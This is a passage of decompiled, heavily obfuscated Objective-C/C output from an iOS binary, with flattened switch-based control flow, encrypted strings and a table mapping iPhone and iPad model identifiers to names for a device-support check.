while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
v5 = v24;
if ( v24 > -257818094 )
break;
if ( v24 > -1166925967 )
{
if ( v24 <= -791472279 )
{
if ( v24 > -1021522052 )
{
switch ( v24 )
{
case -1021522051:
v30[32] = (__int64)CFSTR("m\xE7\x5B\xF9\x19\x05L\x15");
v31[32] = (__int64)CFSTR("/\x95ܰ\x82\xAA\xF3\xBE\x93|\x92\x14i\x9C\xCD\x1F\xCA\xC3\xA0\x0E");
v30[33] = (__int64)CFSTR("\xB6\x9B\xCC\x3E\xD8\xC8ܓ");
v31[33] = (__int64)CFSTR("\x11SM$\xCF\x4A\x99\xB5;\xA9*Z\x87\x13\x80\x81\xE4\xCF\xAA\x90oե\xAD");
v30[34] = (__int64)CFSTR("\xD1\xDC\xBE\x01\xEE\x91\x4A\x11\xFA");
v31[34] = (__int64)CFSTR("-W\xFA7\x12\x97,6T\x88\x10\vw\xBD\nv\x1B\x1D\xB8Y\x98");
v30[35] = (__int64)CFSTR("2\xA5BU\xAB\x802\xBE7");
v31[35] = (__int64)CFSTR("\x85\xEC\xB2\xC1P\x92\xE9\x81\x51\x85׳圃\xF2\xED\x7F\x04$\x88\x84TZ\x84");
objc_retain(a1);
v16 = HikariFunctionWrapper_2779_0(
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:");
v21 = objc_retainAutoreleasedReturnValue(v16);
a2 = (__int64)"objectForKeyedSubscript:";
v17 = objc_msgSend(v21, "objectForKeyedSubscript:", a1);
v25 = objc_retainAutoreleasedReturnValue(v17);
objc_release(a1);
v29 = v25 != 0;
v14 = 1;
v7 = -1644077400;
v15 = -88883455;
goto LABEL_127;
case -825735359:
*v32 = 84760344;
break;
case -820409663:
*v32 = 27208261;
break;
}
}
else
{
switch ( v24 )
{
case -1166925966:
asc_10026CD63[7] = v27 - 2 * (v27 & 0x3A) - 70;
asc_10026CD63[8] = 32;
asc_10026CD63[9] = 40;
asc_10026CD63[10] = 71;
asc_10026CD63[11] = 83;
asc_10026CD63[12] = 77;
asc_10026CD63[13] = 41;
asc_10026CD63[14] = 0;
strcpy(asc_10026CCF4, "iPhone10,4");
asc_10026CC00[0] = 105;
asc_10026CC00[1] = 80;
asc_10026CC00[2] = 97;
asc_10026CC00[3] = 100;
asc_10026CC00[4] = 54;
asc_10026CC00[5] = 44;
asc_10026CC00[6] = 49;
asc_10026CC00[7] = 50;
asc_10026CC00[8] = 0;
a2_0[0] = 105;
a2_0[1] = 80;
a2_0[2] = 97;
a2_0[3] = 100;
a2_0[4] = 55;
a2_0[5] = 44;
a2_0[6] = 49;
a2_0[7] = 50;
a2_0[8] = 0;
strcpy(aMg4e, "iPhone8,4");
strcpy(asc_100271510, "iPad Pro 9.7-inch (Cellular)");
strcpy(asc_1002714C0, "El modelo del dispositivo es: %@");
strcpy(aS_4, "iPhone8,1");
strcpy(asc_100271470, "iPhone 7 Plus (Global)");
asc_10026BC83[0] = 105;
asc_10026BC83[1] = 80;
asc_10026BC83[2] = 97;
asc_10026BC83[3] = 100;
asc_10026BC83[4] = 53;
asc_10026BC83[5] = 44;
asc_10026BC83[6] = 50;
asc_10026BC83[7] = 0;
strcpy(aWo, "iPhone10,5");
aO_3[0] = 105;
aO_3[1] = 80;
aO_3[2] = 97;
aO_3[3] = 100;
aO_3[4] = 53;
aO_3[5] = 44;
aO_3[6] = 49;
aO_3[7] = 0;
strcpy(asc_10026CAD0, "iPhone9,3");
strcpy(aQ_2, "iPhone 7 Plus (GSM)");
strcpy(asc_1002713E0, "iPhone 8 Plus (Global)");
strcpy(asc_10026CE20, "iPhone 5s");
strcpy(aSm, "iPad (6th gen, Cellular)");
asc_10026C0B5[0] = 105;
asc_10026C0B5[1] = 80;
asc_10026C0B5[2] = 97;
asc_10026C0B5[3] = 100;
asc_10026C0B5[4] = 54;
asc_10026C0B5[5] = 44;
asc_10026C0B5[6] = 49;
asc_10026C0B5[7] = 49;
asc_10026C0B5[8] = 0;
strcpy(asc_1002713A0, "iPhone X (Global)");
strcpy(asc_100271670, "iPod Touch (7th gen)");
strcpy(asc_10026C7AB, "iPhone 8 (GSM)");
strcpy(aN_9, "iPhone 8 Plus (GSM)");
strcpy(asc_10026C87D, "iPhone X (GSM)");
strcpy(asc_100271430, "iPhone 8 (Global)");
strcpy(asc_10026C276, "iPhone8,2");
strcpy(aW_3, "iPad (7th gen, WiFi)");
strcpy(asc_100271240, "iPhone 7 (Global)");
asc_100271216[0] = 105;
asc_100271216[1] = 80;
asc_100271216[2] = 97;
asc_100271216[3] = 100;
asc_100271216[4] = 54;
asc_100271216[5] = 44;
asc_100271216[6] = 56;
asc_100271216[7] = 0;
strcpy(aE_11, "iPad Pro 12.9-inch (1st gen, Cellular)");
strcpy(asc_1002711F0, "iPad Pro 10.5-inch (Cellular)");
strcpy(asc_1002711B0, "iPad mini 4 (Cellular)");
asc_10026C093[0] = 105;
asc_10026C093[1] = 80;
asc_10026C093[2] = 97;
asc_10026C093[3] = 100;
asc_10026C093[4] = 55;
asc_10026C093[5] = 44;
asc_10026C093[6] = 49;
asc_10026C093[7] = 49;
asc_10026C093[8] = 0;
strcpy(asc_10026C8D7, "iPhone10,6");
strcpy(asc_100271360, "iPad Air 2 (Cellular)");
aP0xnt[0] = 105;
aP0xnt[1] = 80;
aP0xnt[2] = 97;
aP0xnt[3] = 100;
aP0xnt[4] = 53;
aP0xnt[5] = 44;
aP0xnt[6] = 51;
aP0xnt[7] = 0;
aM_4[0] = 105;
aM_4[1] = 80;
aM_4[2] = 97;
aM_4[3] = 100;
aM_4[4] = 53;
aM_4[5] = 44;
aM_4[6] = 52;
aM_4[7] = 0;
strcpy(asc_100271620, "iPad Pro 12.9-inch (2nd gen, Cellular)");
strcpy(asc_100270F10, "iPad (7th gen, Cellular)");
strcpy(aK2, "iPhone9,4");
aCvne[0] = 105;
aCvne[1] = 80;
aCvne[2] = 97;
aCvne[3] = 100;
aCvne[4] = 55;
aCvne[5] = 44;
aCvne[6] = 49;
aCvne[7] = 0;
strcpy(aNo7y, "iPhone9,2");
strcpy(aC_4, "iPhone7,2");
asc_10026C9D8[0] = 105;
asc_10026C9D8[1] = 80;
asc_10026C9D8[2] = 111;
asc_10026C9D8[3] = 100;
asc_10026C9D8[4] = 57;
asc_10026C9D8[5] = 44;
asc_10026C9D8[6] = 49;
asc_10026C9D8[7] = 0;
asc_100271170[0] = 105;
asc_100271170[1] = 80;
asc_100271170[2] = 97;
asc_100271170[3] = 100;
asc_100271170[4] = 32;
asc_100271170[5] = 65;
LOBYTE(a4) = -27;
v4 = (unsigned int)a4;
LOBYTE(v4) = 8;
asc_100271170[6] = 105;
asc_100271170[7] = 114;
v9 = 0;
asc_100271170[8] = 32;
v28 = -24;
v7 = -1166925966;
v10 = -2011771260;
goto LABEL_122;
case -1152367927:
*v20 = CFSTR("\xF6\x80\x68\x21\xEA\x6A\xFBq");
v31[30] = (__int64)CFSTR("\x1E\xC6\x11v\xA1U\xB0\xFC\x9Av\x9B\xC2\x17P\xBAyް\xB4\x821V\x1D\x1C");
v30[31] = (__int64)CFSTR("\xB6o\xD4\x69z\xEA\xEF\x84");
a4 = CFSTR("\xFE\xBAڍ\xC9\xC4:k6~\x82\x12\f\x06\x83 \x7F꾅|\xB68\xA0Qϔz");
v31[31] = (__int64)CFSTR("\xFE\xBAڍ\xC9\xC4:k6~\x82\x12\f\x06\x83 \x7F꾅|\xB68\xA0Qϔz");
*v32 = -439591172;
break;
case -1039387443:
objc_release(v25);
*v32 = 816440752;
break;
}
}
}
else if ( v24 <= -576575453 )
{
switch ( v24 )
{
case -791472278:
*v32 = -2090647026;
break;
case -762502067:
goto LABEL_91;
case -723414828:
*v32 = -1591031240;
break;
}
}
else if ( v24 > -439591173 )
{
if ( v24 == -439591172 )
{
*v20 = CFSTR("\xF6\x80\x68\x21\xEA\x6A\xFBq");
v31[30] = (__int64)CFSTR("\x1E\xC6\x11v\xA1U\xB0\xFC\x9Av\x9B\xC2\x17P\xBAyް\xB4\x821V\x1D\x1C");
v30[31] = (__int64)CFSTR("\xB6o\xD4\x69z\xEA\xEF\x84");
a4 = CFSTR("\xFE\xBAڍ\xC9\xC4:k6~\x82\x12\f\x06\x83 \x7F꾅|\xB68\xA0Qϔz");
v31[31] = (__int64)CFSTR("\xFE\xBAڍ\xC9\xC4:k6~\x82\x12\f\x06\x83 \x7F꾅|\xB68\xA0Qϔz");
*v32 = -1749273005;
}
else if ( v24 == -300305536 )
{
a2 = 1419259462;
v4 = 2850819264LL;
v9 = 0;
v7 = -300305536;
v10 = 2144356073;
goto LABEL_122;
}
}
else
{
if ( v24 == -576575452 )
{
v6 = 1;
v7 = -88883455;
v8 = -1021522051;
goto LABEL_112;
}
if ( v24 == -527941071 )
{
NSLog(
CFSTR("\x15\xDA\xE9\x18\x15G\xF6\x7F\xA4\x34#\xC6\x10\xA7z)\x91\x80u\x87x\x83\x94\x8Ei"),
a2,
v4);
*v32 = 1109908914;
}
}
}
else if ( v24 <= -1749273006 )
{
if ( v24 > -2050775022 )
{
switch ( v24 )
{
case -2050775021:
aM_5[0] = 105;
aM_5[1] = 80;
aM_5[2] = 97;
aM_5[3] = 100;
aM_5[4] = 55;
aM_5[5] = 44;
aM_5[6] = 53;
aM_5[7] = 0;
asc_10026BF27[0] = 105;
asc_10026BF27[1] = 80;
asc_10026BF27[2] = 104;
asc_10026BF27[3] = 111;
asc_10026BF27[4] = 110;
asc_10026BF27[5] = 101;
asc_10026BF27[6] = 32;
asc_10026BF27[7] = 54;
asc_10026BF27[8] = 0;
asc_10026C488[0] = 105;
asc_10026C488[1] = 80;
asc_10026C488[2] = 97;
asc_10026C488[3] = 100;
asc_10026C488[4] = 55;
asc_10026C488[5] = 44;
asc_10026C488[6] = 54;
asc_10026C488[7] = 0;
strcpy(aD_3, "iPhone6,1");
strcpy(asc_10026BE48, "iPhone 6 Plus");
strcpy(asc_10026BAEC, "iPhone9,1");
strcpy(asc_10026CC3C, "iPhone 6s Plus");
strcpy(aS_2, "iPhone7,1");
strcpy(asc_100271590, "iPad mini 4 (WiFi)");
strcpy(asc_100271550, "iPad (5th gen, Cellular)");
asc_10026CD63[0] = 105;
asc_10026CD63[1] = 80;
LOBYTE(v5) = -85;
LODWORD(a4) = v5;
asc_10026CD63[2] = 104;
asc_10026CD63[3] = 111;
asc_10026CD63[4] = 110;
asc_10026CD63[5] = 101;
asc_10026CD63[6] = 32;
v27 = -115;
*v32 = 1697588766;
break;
case -2011771260:
*v32 = 1440893383;
break;
case -1881435848:
*v32 = -300305536;
break;
}
}
else
{
switch ( v24 )
{
case -2118341264:
asc_100271170[9] = v28 ^ 0xDA;
asc_100271170[10] = 32;
asc_100271170[11] = 40;
asc_100271170[12] = 87;
asc_100271170[13] = 105;
asc_100271170[14] = 70;
asc_100271170[15] = 105;
asc_100271170[16] = 41;
asc_100271170[17] = 0;
strcpy(aWMe, "iPhone SE (1st gen)");
strcpy(asc_100270F50, "iPad (6th gen, WiFi)");
asc_1002710EB[0] = 105;
asc_1002710EB[1] = 80;
asc_1002710EB[2] = 97;
asc_1002710EB[3] = 100;
asc_1002710EB[4] = 54;
asc_1002710EB[5] = 44;
asc_1002710EB[6] = 52;
asc_1002710EB[7] = 0;
strcpy(aO_4, "iPhone 6s");
strcpy(asc_100270FA0, "iPad Pro 10.5-inch (WiFi)");
strcpy(aY_5, "iPad Pro 9.7-inch (WiFi)");
strcpy(asc_10026C476, "iPhone6,2");
asc_1002710DB[0] = 105;
asc_1002710DB[1] = 80;
asc_1002710DB[2] = 97;
asc_1002710DB[3] = 100;
asc_1002710DB[4] = 54;
asc_1002710DB[5] = 44;
asc_1002710DB[6] = 55;
asc_1002710DB[7] = 0;
strcpy(asc_100271000, "iPad (5th gen, WiFi)");
strcpy(asc_10026C99F, "iPhone10,2");
strcpy(aFR, "iPhone10,3");
strcpy(aG_9, "iPad Pro 12.9-inch (2nd gen, WiFi)");
asc_100271141[0] = 105;
asc_100271141[1] = 80;
asc_100271141[2] = 97;
asc_100271141[3] = 100;
asc_100271141[4] = 54;
asc_100271141[5] = 44;
asc_100271141[6] = 51;
asc_100271141[7] = 0;
asc_1002713FF[0] = 105;
asc_1002713FF[1] = 80;
asc_1002713FF[2] = 97;
asc_1002713FF[3] = 100;
asc_1002713FF[4] = 55;
asc_1002713FF[5] = 44;
asc_1002713FF[6] = 50;
asc_1002713FF[7] = 0;
strcpy(asc_100270ED0, "Dispositivo no soportado");
strcpy(asc_1002710B0, "iPad Pro 12.9-inch (1st gen, WiFi)");
asc_100270FC2[0] = 105;
asc_100270FC2[1] = 80;
asc_100270FC2[2] = 97;
asc_100270FC2[3] = 100;
asc_100270FC2[4] = 55;
asc_100270FC2[5] = 44;
asc_100270FC2[6] = 51;
asc_100270FC2[7] = 0;
strcpy(asc_10026C37B, "iPhone10,1");
asc_100270F6D[0] = 105;
asc_100270F6D[1] = 80;
asc_100270F6D[2] = 97;
asc_100270F6D[3] = 100;
LOBYTE(v5) = 18;
LODWORD(a4) = v5;
asc_100270F6D[4] = 55;
asc_100270F6D[5] = 44;
asc_100270F6D[6] = 52;
asc_100270F6D[7] = 0;
*v32 = -791472278;
break;
case -2117628884:
objc_release(v21);
v7 = -723414828;
goto LABEL_129;
case -2090647026:
dword_10029F454 = 1;
v31 = &v19;
v30 = &v19 - 36;
*(&v19 - 36) = (__int64)CFSTR("D[\xB7\x98Jn\x1DX\x03");
*v31 = (__int64)CFSTR("\t\xAA\xF1\xFB\x16\x85\xD4\x60jz");
v4 = (__int64)CFSTR("\x86\xCE\x74\x81\xF2\x60\xAB\xFF\xB9\x1D");
v30[1] = (__int64)CFSTR("\x86\xCE\x74\x81\xF2\x60\xAB\xFF\xB9\x1D");
v31[1] = (__int64)CFSTR("\t\xAA\xF1\xFB\x16\x85\xD4\x60jz");
v30[2] = (__int64)CFSTR("S\x1F\x88+W\xDB\x16\xEA\x4F\xE6");
v31[2] = (__int64)CFSTR(".\xB2\xAA\b\x81v\xCD\x0A\xFA\x97\xB9\x99\xCF\x6C");
v30[3] = (__int64)CFSTR("C\x19\xA2ƈ\xD5\x5C\xDE\x6D\x8C");
v31[3] = (__int64)CFSTR("\x19\"\x93h{\x1Ab\x8F\x98");
v30[4] = (__int64)CFSTR("!s&\xFB]ٺDC\x18");
v31[4] = (__int64)CFSTR("\tO\x89ܝX\x00\xE4\x17\x39");
v30[5] = (__int64)CFSTR("\x83\xAB\xD5\xDCB\xFF\fl\xC1\x54");
v31[5] = (__int64)CFSTR("\xAC3RPijc\xE8\x57\x75\f\x0F\xDE\x31");
v30[6] = (__int64)CFSTR("MG4e\x9C\x80w\xBBE\xBB");
v31[6] = (__int64)CFSTR(">w{МE\xBF'\xB6T\tR[&\x1D\x18\x1E\x84q");
v30[7] = (__int64)CFSTR("\x8E2I\x98\xBE \xC4\x25\x88");
v31[7] = (__int64)CFSTR("\xBB\xE1\xCA\x91\xD3\x0E\xB7\xE1\xF5\xFF\x1EP\x14\xBFI\xB4\xA9\x9D");
v30[8] = (__int64)CFSTR("NO7Y\xA4\x81\xF9\xBB");
v31[8] = (__int64)CFSTR("\xAAkd\xA4\xB5\xE4\xBE\xDC\xEA\x99\xEC\x8A\x11:A\t\xC9\xE8\xC9\xF2w\x98\xB4");
v30[9] = (__int64)CFSTR("\x1A*\xFA\x9D\x99\xB5wB\xD1\xEF");
v31[9] = (__int64)CFSTR("\xB4,\t\x19\xA1[\xEE\x0D\x9E\x8A.\xF5\x7E\x93\x34");
v30[10] = (__int64)CFSTR("K2\xF3\xA4\x44\xC1l?a\x80");
v31[10] = (__int64)CFSTR("#߆Q\x9C\x86\xD3\xC9\xAE\xFE\xABnkȘ\xAE\xEA\xBF\x14\xA5");
v30[11] = (__int64)CFSTR("\xC8\x2F\xCF\x0D\x9Eʇ\xF8WB\xA0");
v31[11] = (__int64)CFSTR("\x8B0Д\x05p3\xB4\x80a\x85\xE8\xC9\x5E>4");
v30[12] = (__int64)CFSTR("\xBF\xDD\xD7\xF1\x43\xBA\x612\x9D0^");
v31[12] = (__int64)CFSTR(")\xF0\x8E\x54\x7C\x05\xB5/\x93\x1D\x9F\xC7\xE1\xCB\xF8u#v\xBF\\ 6}");
v30[13] = (__int64)CFSTR("f*r\xAFK\r\xBA\x94?.");
v31[13] = (__int64)CFSTR("\xF3\x59\xDB\xDF\x81s\\}V_۾\x89\xEE\x1F\xBC\rY");
v30[14] = (__int64)CFSTR("\x8F\xC4\xE5\x94]g\xAB\xAA\xF9\x0F\n");
v31[14] = (__int64)CFSTR(".\xA3\xE6\x41\xF2L\x8C\xF3\xEB\x81\xFF+\xF9\xB4x");
v30[15] = (__int64)CFSTR("Wo\xC2\xCD\x12f\xB2m\xC4\x1C");
v31[15] = (__int64)CFSTR("N\xF8\xC3\xE1]\xF0\x4F\xD2\xE5\xB2\xC6\x0FQކu«E|");
v30[16] = (__int64)CFSTR("\xB6\xBF\xFA\xA7\x97\x97\xD3\xE5\xB5ߛ");
v31[16] = (__int64)CFSTR("\xDE\x4F\x85\x16\xF5\x34\xD5\x48\xF3\x83\x61\xD4:L\x9B");
v30[17] = (__int64)CFSTR("\xB3\xB8\x84\xE2\x0C\x07z\x80");
v31[17] = (__int64)CFSTR("H\xB7sw\x89\xE1\xD1\xC3\xF5\xFA\xC9\xF3\x89\xEE\x60\xBD\x1A\r\x01\x8B\t");
v30[18] = (__int64)CFSTR("|ܿ\x84\xB7\xCA\x14\x03");
v31[18] = (__int64)CFSTR("\xCD\x07F/\x82k\x84\xF9+K\x87\xFF!\x8Cʋ9\x17Z");
v30[19] = (__int64)CFSTR("\xDF\x02\xB8\xE8\x29\xE2\xB0\x89");
v31[19] = (__int64)CFSTR("\xFFȭ*k(\x93\x9E\x0Ff\xB9\xB4\x1Eܵ.I/\xE2\xC9\x0B{h");
v30[20] = (__int64)CFSTR("P0xnT\x8B:~");
v31[20] = (__int64)CFSTR("*\xF3\x6D\x60\x53\x91Ę\xA3\xC9\x23\xBF\xBDқPsd");
v30[21] = (__int64)CFSTR("M\xA1J\xD2\xEBZ1\x04");
v31[21] = (__int64)CFSTR("\xDB\xF6\vQZڽ\x89]dݢ\x9C53\xB3\x87t\x86\x8F\x90");
v30[22] = (__int64)CFSTR("\b\xD1\x63\xB2\a3\x12\x13");
v31[22] = (__int64)CFSTR(".Y\xDF\x6A<\xDE\x71\xEA\x93\x45\x12\xDD\xE7\x19\x17G\x9E\xF0\xAB\xEF\x3D\xEC\x46\x1C\t");
v30[23] = (__int64)CFSTR("\x9D:\x8Dqz\xA4\x16");
v31[23] = (__int64)CFSTR("_\xD5\xFA\x11\x87(E\xFAP\xE2\xED\xA8\b\x13p\xF7\x35\xE5\xD6\xE4\x46\x4A_\xB7\xA1\x03\xC1\x8D\xA5");
v30[24] = (__int64)CFSTR("\x930\xBE\xF8\x15\x85\xD9\x73");
v31[24] = (__int64)CFSTR("\x12\xBA]\xE3\x19\xE5\x04\v\xA0\xFB\x94\xEB\xEB\x31\xC5\x39\x81Ԥ\xE7\x0B\x27ˎ\xB2\xE9\xFE\xC2\xC0\xD8\xEF\xA1\x4E\xBB");
v30[25] = (__int64)CFSTR("\x04\xEF\x31\x88\x15;\xA8\xFC");
v31[25] = (__int64)CFSTR("e\xA1\xEF\xC2\x7FFǸ\xF6\xC7\x3C\xF08\x17\xB5\x8D}\r5\xD6\x44K\xF2\xEC\x23\xEA\u038D\x1A\xD9\xD5@\xDB\x56T\x81Rڧ");
v30[26] = (__int64)CFSTR("\xFAF\x9D\xD7\x5D\xA9\x96\xCA\x38");
v31[26] = (__int64)CFSTR(":\x02\xAAǓ\x98\x90\u0099Y\x80:\x94\xCD\xFB?\f\x82\x99P");
v30[27] = (__int64)CFSTR("\x14\xC9\x35\x90\xC0\xBC\x8C\x11g");
v31[27] = (__int64)CFSTR("%\xC1\xEAr\xC4\x61w\x8B\xDF\x34\x9F\x00;h>Ƙ\b6\xE4\x02\x54l{o");
v30[28] = (__int64)CFSTR("cvnE\x9D\xAB\x01|");
v31[28] = (__int64)CFSTR("\"ەg~\xB8\x99\xC8\x65\xB5\xCB\xE0\xBE\x859 D\xB6v\xA8\xD9\x68\x80\xF4\xF6\x4E\x37\x9B_\xB9\xF1\xE6\x7B\x44a");
v30[29] = (__int64)CFSTR("L\x9A\x8D(/,Ʋ");
v31[29] = (__int64)CFSTR("\x15\xA9\xEC\x07\xAFon\x03\xC6\x69\xAB\x11\xB8\xB6\x93\xF2\xEA\xB0\x44\xAET.\x8Dn\x13\xF7\xA5\x81\x62\x1A]\x9E\xBA9\x82\txo");
LODWORD(a4) = 240;
v20 = v30 + 30;
*v32 = 1008676920;
break;
}
}
}
else if ( v24 <= -1576048687 )
{
switch ( v24 )
{
case -1749273005:
*v32 = -576575452;
break;
case -1644077400:
v9 = !v29;
v7 = 324284556;
v10 = 1761215894;
LABEL_122:
if ( !v9 )
v7 = v10;
goto LABEL_129;
case -1591031240:
v4 = 2982117605LL;
v9 = 0;
v7 = -1881435848;
v10 = -300305536;
goto LABEL_122;
}
}
else if ( v24 > -1537412481 )
{
if ( v24 == -1537412480 )
{
LABEL_90:
*v32 = -1543582431;
}
else if ( v24 == -1447526858 )
{
asc_10026CD63[7] = v27 ^ 0xBA;
asc_10026CD63[8] = 32;
asc_10026CD63[9] = 40;
asc_10026CD63[10] = 71;
asc_10026CD63[11] = 83;
asc_10026CD63[12] = 77;
asc_10026CD63[13] = 41;
asc_10026CD63[14] = 0;
strcpy(asc_10026CCF4, "iPhone10,4");
asc_10026CC00[0] = 105;
asc_10026CC00[1] = 80;
asc_10026CC00[2] = 97;
asc_10026CC00[3] = 100;
asc_10026CC00[4] = 54;
asc_10026CC00[5] = 44;
asc_10026CC00[6] = 49;
asc_10026CC00[7] = 50;
asc_10026CC00[8] = 0;
a2_0[0] = 105;
a2_0[1] = 80;
a2_0[2] = 97;
a2_0[3] = 100;
a2_0[4] = 55;
a2_0[5] = 44;
a2_0[6] = 49;
a2_0[7] = 50;
a2_0[8] = 0;
strcpy(aMg4e, "iPhone8,4");
strcpy(asc_100271510, "iPad Pro 9.7-inch (Cellular)");
strcpy(asc_1002714C0, "El modelo del dispositivo es: %@");
strcpy(aS_4, "iPhone8,1");
strcpy(asc_100271470, "iPhone 7 Plus (Global)");
asc_10026BC83[0] = 105;
asc_10026BC83[1] = 80;
asc_10026BC83[2] = 97;
asc_10026BC83[3] = 100;
asc_10026BC83[4] = 53;
asc_10026BC83[5] = 44;
asc_10026BC83[6] = 50;
asc_10026BC83[7] = 0;
strcpy(aWo, "iPhone10,5");
aO_3[0] = 105;
aO_3[1] = 80;
aO_3[2] = 97;
aO_3[3] = 100;
aO_3[4] = 53;
aO_3[5] = 44;
aO_3[6] = 49;
aO_3[7] = 0;
strcpy(asc_10026CAD0, "iPhone9,3");
strcpy(aQ_2, "iPhone 7 Plus (GSM)");
strcpy(asc_1002713E0, "iPhone 8 Plus (Global)");
strcpy(asc_10026CE20, "iPhone 5s");
strcpy(aSm, "iPad (6th gen, Cellular)");
asc_10026C0B5[0] = 105;
asc_10026C0B5[1] = 80;
asc_10026C0B5[2] = 97;
asc_10026C0B5[3] = 100;
asc_10026C0B5[4] = 54;
asc_10026C0B5[5] = 44;
asc_10026C0B5[6] = 49;
asc_10026C0B5[7] = 49;
asc_10026C0B5[8] = 0;
strcpy(asc_1002713A0, "iPhone X (Global)");
strcpy(asc_100271670, "iPod Touch (7th gen)");
strcpy(asc_10026C7AB, "iPhone 8 (GSM)");
strcpy(aN_9, "iPhone 8 Plus (GSM)");
strcpy(asc_10026C87D, "iPhone X (GSM)");
strcpy(asc_100271430, "iPhone 8 (Global)");
strcpy(asc_10026C276, "iPhone8,2");
strcpy(aW_3, "iPad (7th gen, WiFi)");
strcpy(asc_100271240, "iPhone 7 (Global)");
asc_100271216[0] = 105;
asc_100271216[1] = 80;
asc_100271216[2] = 97;
asc_100271216[3] = 100;
asc_100271216[4] = 54;
asc_100271216[5] = 44;
asc_100271216[6] = 56;
asc_100271216[7] = 0;
strcpy(aE_11, "iPad Pro 12.9-inch (1st gen, Cellular)");
strcpy(asc_1002711F0, "iPad Pro 10.5-inch (Cellular)");
strcpy(asc_1002711B0, "iPad mini 4 (Cellular)");
asc_10026C093[0] = 105;
asc_10026C093[1] = 80;
asc_10026C093[2] = 97;
asc_10026C093[3] = 100;
asc_10026C093[4] = 55;
asc_10026C093[5] = 44;
asc_10026C093[6] = 49;
asc_10026C093[7] = 49;
asc_10026C093[8] = 0;
strcpy(asc_10026C8D7, "iPhone10,6");
strcpy(asc_100271360, "iPad Air 2 (Cellular)");
aP0xnt[0] = 105;
aP0xnt[1] = 80;
aP0xnt[2] = 97;
aP0xnt[3] = 100;
aP0xnt[4] = 53;
aP0xnt[5] = 44;
aP0xnt[6] = 51;
aP0xnt[7] = 0;
aM_4[0] = 105;
aM_4[1] = 80;
aM_4[2] = 97;
aM_4[3] = 100;
aM_4[4] = 53;
aM_4[5] = 44;
aM_4[6] = 52;
aM_4[7] = 0;
strcpy(asc_100271620, "iPad Pro 12.9-inch (2nd gen, Cellular)");
strcpy(asc_100270F10, "iPad (7th gen, Cellular)");
strcpy(aK2, "iPhone9,4");
aCvne[0] = 105;
aCvne[1] = 80;
aCvne[2] = 97;
aCvne[3] = 100;
aCvne[4] = 55;
aCvne[5] = 44;
aCvne[6] = 49;
aCvne[7] = 0;
strcpy(aNo7y, "iPhone9,2");
strcpy(aC_4, "iPhone7,2");
asc_10026C9D8[0] = 105;
asc_10026C9D8[1] = 80;
asc_10026C9D8[2] = 111;
asc_10026C9D8[3] = 100;
asc_10026C9D8[4] = 57;
asc_10026C9D8[5] = 44;
asc_10026C9D8[6] = 49;
asc_10026C9D8[7] = 0;
asc_100271170[0] = 105;
asc_100271170[1] = 80;
asc_100271170[2] = 97;
asc_100271170[3] = 100;
asc_100271170[4] = 32;
asc_100271170[5] = 65;
asc_100271170[6] = 105;
asc_100271170[7] = 114;
LOBYTE(v5) = -45;
LODWORD(a4) = v5;
asc_100271170[8] = 32;
*v32 = -1166925966;
}
}
else if ( v24 == -1576048686 )
{
objc_release(v21);
*v32 = -2117628884;
}
else if ( v24 == -1543582431 )
{
v6 = 0;
v7 = 816440752;
v8 = -1039387443;
goto LABEL_112;
}
}
if ( v24 > 999488583 )
break;
if ( v24 <= 84760343 )
{
if ( v24 > 27208260 )
{
switch ( v24 )
{
case 27208261:
v9 = 0;
v7 = 235358166;
v10 = -207876156;
goto LABEL_122;
case 53508232:
*v32 = 540131337;
break;
case 72855566:
v6 = v22 < 0x233453C0;
v7 = 999488584;
v8 = 1167892616;
goto LABEL_112;
}
}
else
{
switch ( v24 )
{
case -257818093:
a2 = (__int64)v25;
NSLog(
CFSTR("\xEE\x13\x0C\xACw\xB1z^IF\xB1\xB1W\xB4cf\xE6\xB8\x10\x92#m\x03\n\x97aH\u0378R\v*\t"),
v25,
v4);
v6 = 1;
v7 = 1038089078;
v8 = 53508232;
goto LABEL_112;
case -207876156:
v14 = 0;
v7 = -207876156;
v15 = -1537412480;
goto LABEL_127;
case -88883455:
v30[32] = (__int64)CFSTR("m\xE7\x5B\xF9\x19\x05L\x15");
v31[32] = (__int64)CFSTR("/\x95ܰ\x82\xAA\xF3\xBE\x93|\x92\x14i\x9C\xCD\x1F\xCA\xC3\xA0\x0E");
v30[33] = (__int64)CFSTR("\xB6\x9B\xCC\x3E\xD8\xC8ܓ");
v31[33] = (__int64)CFSTR("\x11SM$\xCF\x4A\x99\xB5;\xA9*Z\x87\x13\x80\x81\xE4\xCF\xAA\x90oե\xAD");
v30[34] = (__int64)CFSTR("\xD1\xDC\xBE\x01\xEE\x91\x4A\x11\xFA");
v31[34] = (__int64)CFSTR("-W\xFA7\x12\x97,6T\x88\x10\vw\xBD\nv\x1B\x1D\xB8Y\x98");
v30[35] = (__int64)CFSTR("2\xA5BU\xAB\x802\xBE7");
v31[35] = (__int64)CFSTR("\x85\xEC\xB2\xC1P\x92\xE9\x81\x51\x85׳圃\xF2\xED\x7F\x04$\x88\x84TZ\x84");
objc_retain(a1);
v11 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
v31,
v30,
36);
v12 = objc_retainAutoreleasedReturnValue(v11);
a2 = (__int64)"objectForKeyedSubscript:";
v13 = HikariFunctionWrapper_2781_0(v12, "objectForKeyedSubscript:");
objc_retainAutoreleasedReturnValue(v13);
objc_release(a1);
*v32 = -1021522051;
break;
}
}
}
else if ( v24 <= 324284555 )
{
switch ( v24 )
{
case 84760344:
v6 = 1;
v7 = -1576048686;
v8 = -2117628884;
LABEL_112:
if ( v6 )
v7 = v8;
goto LABEL_129;
case 235358166:
*v32 = -207876156;
break;
case 316297549:
*v32 = 1372040040;
break;
}
}
else if ( v24 > 771717880 )
{
if ( v24 == 771717881 )
{
asc_100271170[9] = v28 ^ 0xDA;
asc_100271170[10] = 32;
asc_100271170[11] = 40;
asc_100271170[12] = 87;
asc_100271170[13] = 105;
asc_100271170[14] = 70;
asc_100271170[15] = 105;
asc_100271170[16] = 41;
asc_100271170[17] = 0;
strcpy(aWMe, "iPhone SE (1st gen)");
strcpy(asc_100270F50, "iPad (6th gen, WiFi)");
asc_1002710EB[0] = 105;
asc_1002710EB[1] = 80;
asc_1002710EB[2] = 97;
asc_1002710EB[3] = 100;
asc_1002710EB[4] = 54;
asc_1002710EB[5] = 44;
asc_1002710EB[6] = 52;
asc_1002710EB[7] = 0;
strcpy(aO_4, "iPhone 6s");
strcpy(asc_100270FA0, "iPad Pro 10.5-inch (WiFi)");
